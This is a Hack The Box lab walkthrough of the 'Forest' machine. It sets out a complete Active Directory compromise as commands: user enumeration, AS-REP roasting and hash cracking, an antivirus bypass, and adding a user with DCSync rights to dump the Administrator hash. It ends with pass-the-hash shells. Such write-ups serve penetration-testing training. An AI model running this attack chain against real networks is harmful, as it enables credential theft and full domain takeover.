Skip to content
Hack The Box2 min read

HTB - Forest

Forest - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Forest#

bash
nmap 10.129.95.210 -A

image1

  • Looks like this could be the DC (Kerberos)

  • Got the domain from ldap - htb.local

  • Port 445 SMB is open

  • Enumerate with enum4linux

bash
enum4linux 10.129.95.210
  • Found users:

image2

image3

  • <u>Can also use LDAP to enumerate:</u>
bash
ldapsearch -H ldap://10.129.95.210 -x -s base -b '' "(objectClass=*)" "*" +

image4

bash
ldapsearch -H ldap://10.129.95.210 -x -b "DC=htb,DC=local" | grep "dn: CN=" | grep "OU="

image5

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

  • Add users in a file (users)

  • Check if usernames are valid:

bash
kerbrute userenum --dc 10.129.95.210 -d htb.local users -o validusers.txt

image6

  • Vind vulnerable users:
bash
impacket-GetNPUsers htb.local/ -users users -no-pass -dc-ip 10.129.95.210

image7

  • Save the whole hash to a file and use hashcat:
bash
hashcat -m 18200 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt

image8

Got credentials for a service account.

  • Test with CME:
bash
crackmapexec smb 10.129.95.210 -u svc-alfresco -p <password>

image9

  • Remote using WinRM:
bash
evil-winrm -i 10.129.95.210 -u svc-alfresco -p <password>

image10

image11

<u>Priv Esc:</u>

bash
whoami /all

image12

  • Part of the: BUILTIN\Account Operators

The Account Operators group grants limited account creation privileges to a user.

Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups.

Group members can log in locally to domain controllers

  • Upload Sharphound:
bash
upload SharpHound.exe
  • Run Sharphound:
bash
.\SharpHound.exe --CollectionMethods All --Domain htb.local --ZipFileName loot.zip
  • Download the loot.zip file:
bash
download 20240205024401_loot.zip
  • Start Neo4j:
bash
sudo neo4j console
  • Open Bloodhound Drag and drop the loot.zip file into bloodhound

Click on - Find Shortest Paths to Domain Admins

image13

If there is loads of old data in bloodhound:

Connect to the neo4j browser gui http://localhost:7474

Run:

bash
MATCH (n)

DETACH DELETE n;

image14

image15

  • The user svc-alfresco is part of the Account Operators group

image16

  • Click on the Account Operators node and Reachable High Value Targets

image17

image18

image19

  • Account operators has GenericAll to the Exchange Windows Permissions

image20

  • And that in turn has WriteDACL to the HTB.LOCAL

image21

  • HTB.LOCAL is the domain so we know that all accounts are part of it ie. Administrator

  • And clicking on the Domain Admins' node - We can see that Administrator account is a part of that group. And we need DA

  • <u>To exploit:</u>

  • Create a new user (tooby):

bash
net user tooby Password123! /add /domain
  • Add to the group Exchange Windows Permissions
bash
net group "Exchange Windows Permissions" tooby /add
  • Open the menu in evil-winrm:
bash
menu

image22

  • Use Bypass-4MSI - To bypass AV

image23

  • Upload PowerView.ps1 and run it: upload PowerView.ps1
powershell
  . .\PowerView.ps1
  $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  $Cred = New-Object System.Management.Automation.PSCredential('htb\tooby', $SecPassword)
  Add-DomainObjectAcl -PrincipalIdentity tooby -Credential $Cred -Rights DCSync
  • User tooby has DCSync rights now

  • Run a DCSync to get hashes:

bash
impacket-secretsdump htb/tooby:'Password123!'@10.129.95.210 -dc-ip 10.129.95.210

image24

  • Got htb.local\Administrator hash

  • <u>Get shell:</u>

  • <u>Psexec:</u>

bash
impacket-psexec htb/administrator@10.129.95.210 -hashes "<password_hash>"

image25

image26

  • <u>Evil-WinRM:</u>
bash
evil-winrm -i 10.129.95.210 -u administrator -H "<second_half_of_hash>"

image27

image28

Hack The Box9 min

HTB - Absolute

Absolute - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • hashcat
  • impacket
  • kerberos
  • ldap
Hack The Box4 min

HTB - Rebound

Rebound - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • hashcat
  • impacket
  • kerberos
  • ldap
Hack The Box5 min

HTB - Sizzle

Sizzle - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • hashcat
  • impacket
  • linux
  • mimikatz